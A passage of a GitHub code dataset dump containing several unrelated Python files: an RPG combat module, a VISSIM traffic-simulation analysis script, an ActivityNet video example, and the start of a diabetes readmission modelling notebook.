self.enemy_hp[j]\n self.maxhp3 = self.enemy_hp[j]\n self.exp_pull += self.exp_worth[j]\n\n\nenemy = 0\ncursor = 0\nselected = 0\nweapon = 0\nused = []\n\ndef fight(player):\n global enemy\n enemy = enemies()\n player.state = 1\n os.system('cls')\n board.battleUI(player, enemy, 0)\n\ndef enemy_turn(player):\n for i in [1, 2, 3]:\n do = False\n if i == 1:\n if enemy.enemy1 != 0:\n attack = rnd.choice(enemy.enemy_attacks_p[enemy.enemy1])\n do = True\n print(enemy.name[enemy.enemy1], \"uses\", enemy.enemy_attacks[attack], \"dealing\",\n round((enemy.enemy_attacks_damage[attack] * player.def_mlt * (1 + (player.rooms * 0.2))), 2), \"DMG.\", end=\" \")\n elif i == 2:\n if enemy.enemy2 != 0:\n attack = rnd.choice(enemy.enemy_attacks_p[enemy.enemy2])\n do = True\n print(enemy.name[enemy.enemy2], \"uses\", enemy.enemy_attacks[attack], \"dealing\",\n round((enemy.enemy_attacks_damage[attack] * player.def_mlt * (1 + (player.rooms * 0.2))), 2), \"DMG.\", end=\" \")\n elif i == 3:\n if enemy.enemy3 != 0:\n attack = rnd.choice(enemy.enemy_attacks_p[enemy.enemy3])\n do = True\n print(enemy.name[enemy.enemy3], \"uses\", enemy.enemy_attacks[attack], \"dealing\",\n round((enemy.enemy_attacks_damage[attack] * player.def_mlt * (1 + (player.rooms * 0.2))), 2), \"DMG.\", end=\" \")\n if do:\n if player.item_damage[player.eq4][enemy.enemy_attacks_elements[attack]] == 0:\n player.hp -= enemy.enemy_attacks_damage[attack] * 1.5 * (1 + (player.rooms * 0.2)) * player.def_mlt\n print(\"This attack was super effective boosting damage to \", \n (enemy.enemy_attacks_damage[attack] * player.def_mlt * (1 + (player.rooms * 0.2))) * 1.5, \"DMG.\")\n if player.item_damage[player.eq4][enemy.enemy_attacks_elements[attack]] == 1:\n player.hp -= enemy.enemy_attacks_damage[attack] * (1 + (player.rooms * 0.2)) * player.def_mlt\n if player.item_damage[player.eq4][enemy.enemy_attacks_elements[attack]] == 2:\n player.hp -= enemy.enemy_attacks_damage[attack] * 0.5 * (1 + (player.rooms * 0.2)) * player.def_mlt\n print(\"This attack wass't effective at all lowering the damage to\",\n (enemy.enemy_attacks_damage[attack] * player.def_mlt * (1 + (player.rooms * 0.2))) * 0.5, \"DMG\")\n if player.hp <= 0:\n while True:\n print(\"śmierć\")\n os.system('cls')\n round(player.hp, 2)\n time.sleep(1)\n time.sleep(5)\n \n\n\ndef fightupdate(player, prop, cords, Key):\n global cursor, enemy, selected, weapon, used\n if Key == keyboard.Key.up:\n if player.state == 1:\n if cursor == 3 and enemy.enemy3 == 0:\n cursor -= 1\n if cursor == 2 and enemy.enemy2 == 0:\n cursor -= 1\n if cursor == 1 and enemy.enemy1 == 0:\n cursor += 2\n else:\n if cursor != 0:\n cursor -= 1\n elif player.state == 3 or player.state == 9:\n if cursor == 2 and enemy.enemy2 == 0:\n cursor -= 2\n elif cursor == 1 and enemy.enemy1 == 0:\n print(\"\")\n else:\n if cursor != 0:\n cursor -= 1\n elif player.state == 5:\n if cursor != 0:\n cursor -= 1\n os.system('cls')\n board.invfgt(player, cursor)\n elif Key == keyboard.Key.down:\n if player.state == 1:\n if cursor == 0 and enemy.enemy2 == 0:\n cursor += 1\n if cursor == 1 and enemy.enemy3 == 0:\n cursor = 3\n else:\n if cursor != 4:\n cursor += 1\n elif player.state == 3 or player.state == 9:\n if cursor == 0 and enemy.enemy2 == 0:\n cursor += 1\n if enemy.enemy3 == 0:\n cursor = 0\n else:\n cursor +=1\n elif cursor == 1 and enemy.enemy3 == 0:\n None\n elif cursor == 2:\n None\n else:\n cursor += 1 \n elif player.state == 5:\n if cursor != 2:\n cursor += 1\n os.system('cls')\n board.invfgt(player, cursor)\n \n\n elif Key == keyboard.Key.space:\n if player.state == 1:\n if cursor < 3:\n player.state = 2\n if cursor == 3:\n if enemy.enemy1 != 0:\n cursor = 0\n elif enemy.enemy2 != 0:\n cursor = 1\n if enemy.enemy3 != 0:\n cursor = 2\n player.state = 3\n elif cursor == 4:\n player.state = 5\n os.system('cls')\n cursor = 0\n board.invfgt(player, cursor)\n elif player.state == 3:\n used = []\n if cursor == 0:\n if enemy.rec1[0] == 0:\n enemy.hp1 -= 40\n elif enemy.rec1[0] == 1:\n enemy.hp1 -= 30\n elif enemy.rec1[0] == 2:\n enemy.hp1 -= 15\n if enemy.hp1 <= 0:\n enemy.enemy1 = 0\n cursor = 3\n if enemy.enemy3 == 0 and enemy.enemy2 == 0:\n #win\n used = []\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n player.hp += player.maxhp * 0.3\n if player.hp > player.maxhp:\n player.hp = player.maxhp\n if player.exp >= player.lvlup:\n player.level_up()\n else:\n player.state = 1\n enemy_turn(player)\n else:\n player.state = 1\n enemy_turn(player)\n elif cursor == 1:\n if enemy.rec2[0] == 0:\n enemy.hp2 -= 40\n elif enemy.rec2[0] == 1:\n enemy.hp2 -= 30\n elif enemy.rec2[0] == 2:\n enemy.hp2 -= 15\n if enemy.hp2 <= 0:\n enemy.enemy2 = 0\n cursor = 3\n if enemy.enemy1 == 0 and enemy.enemy3 == 0:\n #win\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n if player.exp >= player.lvlup:\n player.level_up()\n else:\n player.state = 1\n enemy_turn(player)\n else:\n player.state = 1\n enemy_turn(player)\n elif cursor == 2:\n if enemy.rec3[0] == 0:\n enemy.hp3 -= 40\n elif enemy.rec3[0] == 1:\n enemy.hp3 -= 30\n elif enemy.rec3[0] == 2:\n enemy.hp3 -= 15\n if enemy.hp3 <= 0:\n enemy.enemy3 = 0\n cursor = 3\n if enemy.enemy1 == 0 and enemy.enemy2 == 0:\n #win\n used = []\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n if player.exp >= player.lvlup:\n player.level_up()\n else:\n player.state = 1\n enemy_turn(player)\n else:\n player.state = 1\n enemy_turn(player)\n elif player.state == 5:\n selected = cursor\n if selected == 0:\n weapon = player.eq1\n elif selected == 1:\n weapon = player.eq2\n elif selected == 2:\n weapon = player.eq3\n if weapon == -1 or weapon in used:\n if weapon in used:\n print(\"you've already used this weapon in this combo.\")\n time.sleep(3)\n cursor = 1\n player.state = 1\n os.system('cls')\n board.battleUI(player, enemy, cursor)\n return None\n if enemy.enemy1 != 0:\n cursor = 0\n elif enemy.enemy2 != 0:\n cursor = 1\n else:\n cursor = 2\n player.state = 9\n os.system('cls')\n board.battleUI(player, enemy, cursor)\n elif player.state == 9:\n if cursor == 0:\n if enemy.rec1[player.item_elements[weapon]] == 0:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 1.5, \n \"DMG. It was super effective granting you an additional turn.\")\n effect = 1\n used.append(weapon)\n time.sleep(3)\n enemy.hp1 -= (player.item_damage[weapon] * 1.5)\n if enemy.rec1[player.item_elements[weapon]] == 1:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon], \"DMG.\")\n enemy.hp1 -= player.item_damage[weapon]\n effect = 0\n used = []\n if enemy.rec1[player.item_elements[weapon]] == 2:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 0.5, \"DMG. It wasn't effective at all\")\n enemy.hp1 -= (player.item_damage[weapon] * 0.5)\n effect = 0\n used = []\n if enemy.hp1 <= 0:\n enemy.enemy1 = 0\n cursor = 3\n if enemy.enemy3 == 0 and enemy.enemy2 == 0:\n #win\n used = []\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n if player.exp >= player.lvlup:\n player.level_up()\n return None\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n if cursor == 1:\n if enemy.rec2[player.item_elements[weapon]] == 0:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 1.5, \n \"DMG. It was super effective granting you an additional turn.\")\n effect = 1\n used.append(weapon)\n time.sleep(3)\n enemy.hp2 -= (player.item_damage[weapon] * 1.5)\n if enemy.rec2[player.item_elements[weapon]] == 1:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon], \"DMG.\")\n enemy.hp2 -= player.item_damage[weapon]\n effect = 0\n used = []\n if enemy.rec2[player.item_elements[weapon]] == 2:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 0.5, \"DMG. It wasn't effective at all\")\n enemy.hp2 -= (player.item_damage[weapon] * 0.5)\n effect = 0\n used = []\n if enemy.hp2 <= 0:\n enemy.enemy2 = 0\n cursor = 3\n if enemy.enemy1 == 0 and enemy.enemy3 == 0:\n #win\n used = []\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n if player.exp >= player.lvlup:\n player.level_up()\n return None\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n if cursor == 2:\n if enemy.rec3[player.item_elements[weapon]] == 0:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 1.5, \n \"DMG. It was super effective granting you an additional turn.\")\n effect = 1\n used.append(weapon)\n time.sleep(3)\n enemy.hp3 -= (player.item_damage[weapon] * 1.5)\n if enemy.rec3[player.item_elements[weapon]] == 1:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon], \"DMG.\")\n enemy.hp3 -= player.item_damage[weapon]\n effect = 0\n used = []\n if enemy.rec3[player.item_elements[weapon]] == 2:\n print(\"You used\", player.items[weapon], \"dealing\", player.item_damage[weapon] * 0.5, \"DMG. It wasn't effective at all\")\n enemy.hp3 -= (player.item_damage[weapon] * 0.5)\n effect = 0\n used = []\n if enemy.hp3 <= 0:\n enemy.enemy3 = 0\n if enemy.hp3 <= 0:\n enemy.enemy3 = 0\n cursor = 3\n if enemy.enemy1 == 0 and enemy.enemy2 == 0:\n #win\n used = []\n player.state = 0\n prop.death(cords)\n print(\"You won gaining\", enemy.exp_pull, \"EXP.\")\n player.exp += enemy.exp_pull\n if player.exp >= player.lvlup:\n player.level_up()\n return None\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n else:\n player.state = 1\n if effect != 1:\n enemy_turn(player)\n os.system('cls')\n board.battleUI(player, enemy, cursor)\n \n #print(\"C\")\n elif Key == keyboard.Key.ctrl_l:\n player.state = 1\n\n if player.state not in [0, 5]:\n os.system('cls')\n board.battleUI(player, enemy, cursor)\n","repo_name":"Filip3T/vone","sub_path":"fight.py","file_name":"fight.py","file_ext":"py","file_size_in_byte":19545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16079860360","text":"#############################################################################\r\n######################## ANALYSIS OF SIMULATION DATA ########################\r\n# Author: Roeland Vandenberhge\r\n# Goal: in this file, data from the VISSIM-simulation is transformed in preparation of\r\n# SPM-analysis;\r\n\r\n# Packages\r\nimport xlrd\r\nimport pandas as pd\r\nimport csv\r\nimport os\r\nimport glob\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.colors as colors\r\nimport numpy as np\r\nimport random\r\nimport time\r\n\r\n# Where to get data:\r\n\r\n#HDD\r\n#location = r\"D:\\Thesis\\SimulationOutput2503\\trajectories.csv\"\r\n#save_loc = r\"D:\\Thesis\\SimulationOutput2503\\paths\\vehID\"\r\n#TL_file = r\"D:\\Thesis\\SimulationOutput2503\\Deventer_TL.xlsx\"\r\n#network_file = r\"D:\\Thesis\\SimulationOutput2503\\network.xlsx\"\r\n#save_map = \"D:\\Thesis\\SimulationOutput2503\\paths\"\r\n\r\ndef save_files(data_per_veh, save_loc):\r\n # Save the data of each vehicle in a separate csv-file\r\n header = ['SIMSEC', 'LinkNo', 'Lane', 'POS']\r\n for veh in data_per_veh.keys():\r\n overview_folder = save_loc\r\n file_name = overview_folder + str(int(veh)) + '.csv'\r\n with open(file_name, 'a+', newline='') as file:\r\n spamwriter = csv.DictWriter(file, fieldnames=header)\r\n if file.tell() == 0:\r\n spamwriter.writeheader()\r\n for k in range(len(data_per_veh[veh]['SIMSEC'])):\r\n spamwriter.writerow({key: data_per_veh[veh][key][k] for key in data_per_veh[veh].keys()})\r\n return\r\n\r\ndef trajectory_files(location, save_loc,save = 0):\r\n # Prepare the full data set in order to save it in a file per vehicle (uncomment last line)\r\n # or in order to use further analysis\r\n\r\n # MEANING OF THE KEYS\r\n # SIMSEC = simulation second of recording\r\n # lanelinkno = number of lane (1-69)\r\n # lane index = index of the lane\r\n # pos = position in meters from begin of the lane\r\n # poslat = lateral position from right of the lane\r\n\r\n data_per_veh = {}\r\n i = 0\r\n for chunk in pd.read_csv(location, sep = ';',chunksize=1500000,skiprows=18): # read in chunks --> easier for memory\r\n chunk = chunk.values.tolist()\r\n for k in chunk:\r\n if k[1] not in data_per_veh.keys():\r\n data_per_veh[k[1]] = {}\r\n data_per_veh[k[1]]['SIMSEC'] = []\r\n data_per_veh[k[1]]['LinkNo'] = []\r\n data_per_veh[k[1]]['Lane'] = []\r\n data_per_veh[k[1]]['POS'] = []\r\n data_per_veh[k[1]]['SIMSEC'].append(k[0])\r\n data_per_veh[k[1]]['LinkNo'].append(k[2])\r\n data_per_veh[k[1]]['Lane'].append(k[3])\r\n data_per_veh[k[1]]['POS'].append(k[4])\r\n\r\n if save == 1: # save each vehicle into separate file\r\n save_files(data_per_veh, save_loc)\r\n data_per_veh.clear()\r\n i += 1\r\n print('Saving chunk: ', i)\r\n return data_per_veh\r\n\r\ndef get_network(network_file):\r\n # Read the file with the network characteristics of the links:\r\n # the file contains information such as link length, connector y/n, from link, to link etc\r\n # OUTPUT: dictionary with keys LinkNumber and values:\r\n # '$LINK:NO': link number\r\n # 'NAME': name of the link\r\n # 'LINKBEHAVTYPE': type of link (urban (=1.0), motorway...)\r\n # 'DISPLAYTYPE':\r\n # 'LEVEL':\r\n # 'NUMLANES':\r\n # 'LENGTH2D': Length of the lane in meters\r\n # 'ISCONN': 1 if the link is a connector, 0 if normal link\r\n # 'FROMLINK': if link is connector, from what lane does it start\r\n # 'TOLINK': if link is connector, to what lane does it go\r\n # 'LNCHGDISTDISTDEF':\r\n # 'HASOVTLN':\r\n\r\n workbook = xlrd.open_workbook(network_file)\r\n worksheet = workbook.sheet_by_index(0)\r\n first_row = [] # The row where we stock the name of the column\r\n for col in range(worksheet.ncols):\r\n first_row.append( worksheet.cell_value(0,col) )\r\n # transform the workbook to a list of dictionnary\r\n data ={}\r\n for row in range(1, worksheet.nrows):\r\n elm = {}\r\n for col in range(worksheet.ncols):\r\n elm[first_row[col]]=worksheet.cell_value(row,col)\r\n data[elm['$LINK:NO']] = elm\r\n return data\r\n\r\n\r\ndef find_path(data):\r\n # add a key that has the total distance the car has travelled\r\n vehicle_path = data\r\n vehicle_path['TOTPOS'] = []\r\n for k in range(len(data['SIMSEC'])):\r\n if k == 0: # first point in the dataset\r\n vehicle_path['TOTPOS'].append(vehicle_path['POS'][k]) # distance travelled on the first link before the first record\r\n elif data['LinkNo'][k] == data['LinkNo'][k-1]: # no change of travelled link\r\n vehicle_path['TOTPOS'].append(vehicle_path['TOTPOS'][k-1] + data['POS'][k] - data['POS'][k-1])\r\n else:\r\n vehicle_path['TOTPOS'].append(vehicle_path['TOTPOS'][k-1] + data['POS'][k])\r\n return vehicle_path\r\n\r\ndef link_on_path(data,link):\r\n # return 1 if link is on path of the vehicle\r\n if link in data['LinkNo']:\r\n return 1\r\n return 0\r\n\r\ndef get_distance_network(data, network):\r\n # Find the entire distance of the links on the network that lie on the path of the vehicle\r\n path = [] # all links traveled by the vehicle\r\n for k in range(len(data['LinkNo'])):\r\n if data['LinkNo'][k] not in path:\r\n path.append(data['LinkNo'][k])\r\n else:\r\n pass\r\n distance = {}\r\n for i in range(len(path)): #iteration over links in path\r\n if i == 0: #first link on the path\r\n distance[path[i]] = network[path[i]]['LENGTH2D'] #lenght of the link\r\n else:\r\n distance[path[i]] = distance[path[i-1]] + network[path[i]]['LENGTH2D']\r\n return distance\r\n\r\ndef read_trafficlights(TL_file):\r\n # Read traffic light states:\r\n # OUTPUT: dictionary 'signal' with 2 keys:\r\n # - 'State': dictionary with:\r\n # keys: (SignalController, SignalGroup)\r\n # values: dictionary with\r\n # keys: 'SIMSEC', 'CYCLETIME', 'SC','Sgroup','NewState','DurationOfLastState', 'SCType','Cause'\r\n # values: list containing all changes over the timespan\r\n # - 'Config': dictionary with:\r\n # keys: Link\r\n # values: dictionary with\r\n # keys: 'SC', 'Sgroup, 'Link', 'Lane', 'At'\r\n # values: float-value from file\r\n workbook = xlrd.open_workbook(TL_file)\r\n worksheet = workbook.sheet_by_name('TLstatus')\r\n first_row = [] # The row where we stock the name of the column\r\n for col in range(worksheet.ncols):\r\n first_row.append( worksheet.cell_value(0,col) )\r\n signal = {}\r\n data ={}\r\n for row in range(1, worksheet.nrows):\r\n elm = {}\r\n for col in range(worksheet.ncols):\r\n elm[first_row[col]]=worksheet.cell_value(row,col)\r\n if (int(elm['SC']), int(elm['Sgroup'])) not in data.keys():\r\n data[(int(elm['SC']),int(elm['Sgroup']))] = {}\r\n for key in elm.keys():\r\n if key not in data[(int(elm['SC']),int(elm['Sgroup']))].keys():\r\n data[(int(elm['SC']),int(elm['Sgroup']))][key] = []\r\n data[(int(elm['SC']),int(elm['Sgroup']))][key].append(elm[key])\r\n signal['State']= data\r\n\r\n worksheet2 = workbook.sheet_by_name('TLconfig')\r\n first_row2 = [] # The row where we stock the name of the column\r\n for col in range(worksheet2.ncols):\r\n first_row2.append( worksheet2.cell_value(0,col))\r\n config = {}\r\n for row in range(1,worksheet2.nrows):\r\n elm = {}\r\n for col in range(worksheet2.ncols):\r\n elm[first_row2[col]] = worksheet2.cell_value(row,col)\r\n if elm['Link'] not in config.keys():\r\n config[elm['Link']] = {}\r\n config[elm['Link']][elm['Lane']] = elm\r\n #print(config[elm['Link']][elm['Lane']])\r\n signal['Config'] = config\r\n return signal\r\n\r\n\r\n#%% the next part does not further play a role in the model but is for plotting and analysing\r\n# Updated versions that are easier to use and have better functionalities can be found in\r\n# trajectory_data.py\r\n\r\ndef plot_path(data,start, end, TL_file):\r\n # plot the trajectories in an x-t plot\r\n veh_on_path = []\r\n data2 = data\r\n maximal_time = 0\r\n plt.figure(dpi=150)\r\n path = {}\r\n pltmin = 55750\r\n pltmax = 56250\r\n for veh in data2.keys():\r\n if int(data2[veh]['LinkNo'][0]) == start and int(data2[veh]['LinkNo'][-1]) == end: # first and last link of the path\r\n df = pd.DataFrame.from_dict(data2[veh])\r\n Lcolors = np.array([int(df.Speed[k]*3.6) for k in range(len(df.Speed))])\r\n plt.scatter(df.SIMSEC,df.TOTPOS,c=Lcolors, cmap= 'RdYlGn', marker ='s', s=.5)\r\n veh_on_path.append(veh)\r\n if max(data2[veh]['SIMSEC']) > maximal_time:\r\n maximal_time = max(data2[veh]['SIMSEC'])\r\n for k in range(len(data2[veh]['LinkNo'])):\r\n path[data2[veh]['LinkNo'][k]] = str(int(data2[veh]['Lane'][k]))\r\n #cbar = plt.colorbar()\r\n #cbar.set_label('Speed [km/h]')\r\n if len(veh_on_path) > 0:\r\n distance = get_distance_network(data2[veh_on_path[0]],get_network())\r\n else:\r\n distance = {}\r\n TL = read_trafficlights(TL_file)\r\n for link in distance.keys(): # problem: cars not going straight: additional length of link straight counted as well as length of turning lane\r\n if link in TL['Config'].keys() and path[link] in TL['Config'][link].keys():\r\n sg = (int(TL['Config'][link][path[link]]['SC']),int(TL['Config'][link][path[link]]['Sgroup']))\r\n for k in range(len(TL['State'][sg]['SIMSEC'])-1):\r\n if TL['State'][sg]['NewState'][k] == ' red ':\r\n col = 'tab:red'\r\n elif TL['State'][sg]['NewState'][k] == ' amber ':\r\n col = 'tab:orange'\r\n else:\r\n col = 'tab:green'\r\n xmin = int(float(TL['State'][sg]['SIMSEC'][k].strip()))\r\n xmax = int(float(TL['State'][sg]['SIMSEC'][k].strip())+int(float(TL['State'][sg]['DurationOfLastState'][k+1])))\r\n if xmin >= pltmin and xmax <= pltmax:\r\n plt.axhline(y = distance[link], xmin= xmin/1000, xmax= xmax/1000, color = col,ls= '-', lw=2)#, linestyles='solid')#, lw =5)\r\n plt.xlim(55750,56250)\r\n plt.title(str('xt-plot of cars on path from link '+ str(start) + ' to link ' +str(end)))\r\n plt.xlabel('Time [sec]')\r\n plt.ylabel('Travelled distance [m]')\r\n plt.show()\r\n return\r\n\r\ndef plot_link(data, link, TL_file):\r\n # Plot xt-diagram per link\r\n TL = read_trafficlights(TL_file)\r\n if link in TL['Config'].keys():\r\n print('link = ', link)\r\n for lane in TL['Config'][link].keys():\r\n print('lane = ', lane)\r\n for veh in data.keys():\r\n if link in data[veh]['LinkNo']:\r\n df = pd.DataFrame.from_dict((data[veh]))\r\n df = df.loc[(df['LinkNo'] == float(link)) & (df['Lane'] == float(lane))]\r\n if not df.empty:\r\n Lcolors = np.array([int(k*3.6) for k in df.Speed])\r\n plt.scatter(df['SIMSEC'], df['POS'],c=Lcolors, cmap= 'RdYlGn',marker = 's', s=.5)\r\n\r\n sg = (int(TL['Config'][link][lane]['SC']),int(TL['Config'][link][lane]['Sgroup'])) #Take into account lane here !!!!!\r\n for k in range(len(TL['State'][sg]['SIMSEC'])-1):\r\n if TL['State'][sg]['NewState'][k] == ' red ':\r\n col = 'tab:red'\r\n elif TL['State'][sg]['NewState'][k] == ' amber ':\r\n col = 'tab:orange'\r\n else:\r\n col = 'tab:green'\r\n xmin = int(float(TL['State'][sg]['SIMSEC'][k]))\r\n xmax = int(float(TL['State'][sg]['SIMSEC'][k]) + int(float(TL['State'][sg]['DurationOfLastState'][k + 1])))\r\n\r\n plt.axhline(y=TL['Config'][link][lane]['At'],xmin=xmin/12600,xmax=xmax/12600, color=col,ls='-', lw=4)\r\n\r\n plt.title('x-t plot of link '+ str(link) + ' & lane: ' + str(lane))\r\n plt.xlabel('Time [sec]')\r\n plt.ylabel('Travelled distance [m]')\r\n plt.show()\r\n return\r\n\r\ndef get_vehID(file):\r\n # Turn filename into only vehID\r\n vehID = str(file)\r\n for k in range(len(file)-5):\r\n if vehID[k:k+5] == 'vehID':\r\n vehID = vehID[k:-4]\r\n return vehID\r\n\r\ndef get_speed(data):\r\n #calculate instantaneous speed\r\n speed = []\r\n if len(data['SIMSEC']) >1:\r\n for k in range(len(data['SIMSEC'])):\r\n speedveh = (data['TOTPOS'][k] - data['TOTPOS'][k-1]) / (data['SIMSEC'][k]-data['SIMSEC'][k-1])\r\n speed.append(speedveh)\r\n else:\r\n speed.append(0)\r\n return speed\r\n\r\n\r\ndef get_vehicle(save_map, network_file,TL_file, penetration_rate=1):\r\n # call for plot + make turning fractions and total flows on the links\r\n\r\n #Read files per vehicle & network data\r\n Overview_folder = save_map\r\n csvfiles = glob.glob(os.path.join(Overview_folder,'*csv'))\r\n network = get_network(network_file)\r\n # Initialize\r\n flow_counter = {link: 0 for link in network.keys()}\r\n vehicle_path = {}\r\n # Select limited number of trajectories based on the penetration rate\r\n penetration = int(penetration_rate * len(csvfiles))\r\n stop = len(csvfiles)\r\n if penetration_rate < 1:\r\n list_pen_rate = random.sample(range(0,stop),penetration)\r\n else:\r\n list_pen_rate = [i for i in range(len(csvfiles))]\r\n\r\n for file in csvfiles:\r\n vehID = get_vehID(file)\r\n for k in range(len(list_pen_rate)):\r\n if list_pen_rate[k] == int(vehID[5:]):\r\n data = {}\r\n with open(file,'r') as file: # Read vehicle files\r\n reader = csv.DictReader(file)\r\n for row in reader:\r\n dt = dict(row)\r\n for key in dt.keys():\r\n if key not in data.keys():\r\n data[key] = []\r\n data[key].append(float(row[key]))\r\n path = find_path(data) # list with links on the path\r\n vehicle_path[vehID] = path\r\n data['Speed'] = get_speed(path)\r\n for link in network.keys():\r\n flow_counter[link] += link_on_path(data, link)\r\n else:\r\n pass\r\n print(vehID)\r\n print('Plotting')\r\n plot_path(vehicle_path, 12.0, 1.0, TL_file)\r\n plot_link(vehicle_path, 12.0, TL_file)\r\n\r\n print(flow_counter)\r\n turning_fractions = {}\r\n for link in network.keys():\r\n if network[link]['ISCONN'] == 1:\r\n from_link = network[link]['FROMLINK']\r\n to_link = network[link]['TOLINK']\r\n if from_link not in turning_fractions.keys():\r\n turning_fractions[from_link] = {}\r\n if flow_counter[link] != 0:\r\n turning_fractions[from_link][to_link] = flow_counter[link]/flow_counter[from_link]\r\n return turning_fractions\r\n\r\n# save_map = 'Data\\Simulation\\Shockwaves\\paths3'\r\n# network_file = 'Data\\Simulation\\\\network.xlsx'\r\n# TL_file = 'Data\\Simulation\\Shockwaves\\Deventer_TL.xlsx'\r\n# flow_counter = get_vehicle(save_map,network_file, TL_file)\r\n#flow_counter2 = get_vehicle(0.01)\r\n\r\n#print(flow_counter)\r\n","repo_name":"roelandvdb/Thesis-Spillover-Detection","sub_path":"simulation_data.py","file_name":"simulation_data.py","file_ext":"py","file_size_in_byte":15604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19340724092","text":"from ActivityNet import ActivityNet, VideoHelper, ImageHelper\nimport numpy as np\nfrom PIL import Image\n\nact_net = ActivityNet(2)\n\npasta_objects = act_net.get_subset_with_label('training', 'Preparing pasta')\npasta_object = pasta_objects[0]\n\n# for pobject in pasta_objects:\n# print pobject\n\npasta_url = pasta_object['url']\npasta_annotations = pasta_object['annotations']\npasta_annotation = pasta_annotations[0]\n\n# VideoHelper.download_video_by_url(pasta_url)\npasta_video_reader = VideoHelper.open_video_by_url(pasta_url)\npasta_frames, shape = VideoHelper.get_frames_per_second_with_dimensions(pasta_video_reader, 2, pasta_annotation, 360, 480)\n\nprint(shape)\n# print(pasta_frames.shape)\n#\n\nImageHelper.show_image(pasta_frames[6])\n\n# image = pasta_frames[0]\n# image_pil = Image.fromarray(image)\n# image_pil = image_pil.resize((480, 360), Image.ANTIALIAS)\n# image = np.asarray(image_pil)\n\n# VideoHelper.reshape_video(pasta_frames, (480,360))\n","repo_name":"alex-paterson/activitynet-essentials","sub_path":"examples/pasta.py","file_name":"pasta.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"24346620415","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport math\nfrom scipy import interp\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport tensorflow as tf\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.metrics import Precision, Recall\n\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import StandardScaler\nfrom datetime import datetime, timedelta\nfrom pandas.plotting import scatter_matrix\nfrom statsmodels.tools import add_constant\nfrom statsmodels.discrete.discrete_model import Logit\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier, AdaBoostClassifier\n# from sklearn.ensemble.partial_dependence import plot_partial_dependence\n\nfrom sklearn.model_selection import cross_val_score, train_test_split, GridSearchCV, KFold\nfrom sklearn.metrics import mean_squared_error, r2_score, accuracy_score, confusion_matrix\nfrom sklearn.metrics import precision_score, recall_score, classification_report\n\n\n# In[5]:\n\n\n#Import data\n\ndef load():\n data = pd.read_csv(r'data/diabetic_data.csv')\n return data\n\n\n# In[ ]:\n\n\n#Pick the features of interest. \n\ndef clean(data):\n df = data[['race', 'gender', 'age', 'admission_type_id', 'discharge_disposition_id',\n 'admission_source_id', 'time_in_hospital', 'num_lab_procedures', 'num_procedures',\n 'num_medications', 'number_outpatient', 'number_emergency',\n 'number_inpatient', 'number_diagnoses', 'A1Cresult', 'change', 'diabetesMed',\n 'metformin', 'repaglinide', 'nateglinide', 'chlorpropamide',\n 'glimepiride', 'acetohexamide', 'glipizide', 'glyburide', 'tolbutamide',\n 'pioglitazone', 'rosiglitazone', 'acarbose', 'miglitol', 'troglitazone',\n 'tolazamide', 'insulin', 'glyburide-metformin', 'glipizide-metformin',\n 'glimepiride-pioglitazone', 'metformin-rosiglitazone', 'metformin-pioglitazone']]\n\n #Change 'unknown' to 'other'\n\n df['race'] = df['race'].replace(['?'],'Other')\n\n #Define target variable. \n\n data['readmitted'] = [ 0 if val == 'NO' else 1 for val in data['readmitted']]\n \n return df, data\n\n\n# In[7]:\n\n\n#Set X, y, and get dummy variables.\n\ndef get_dummies(df, data):\n\n X = pd.get_dummies(df, columns=['race', 'gender', 'age', 'admission_type_id', \n 'discharge_disposition_id', 'admission_source_id', 'A1Cresult', 'change', \n 'diabetesMed', 'metformin', 'repaglinide', 'nateglinide', 'chlorpropamide',\n 'glimepiride', 'acetohexamide', 'glipizide', 'glyburide', 'tolbutamide',\n 'pioglitazone', 'rosiglitazone', 'acarbose', 'miglitol', 'troglitazone',\n 'tolazamide', 'insulin', 'glyburide-metformin', 'glipizide-metformin',\n 'glimepiride-pioglitazone', 'metformin-rosiglitazone', 'metformin-pioglitazone'])\n\n y = data['readmitted']\n \n return X, y\n\n\n# In[ ]:\n\n\n#Pie charts\n\ndf.race.value_counts().plot(kind='pie', 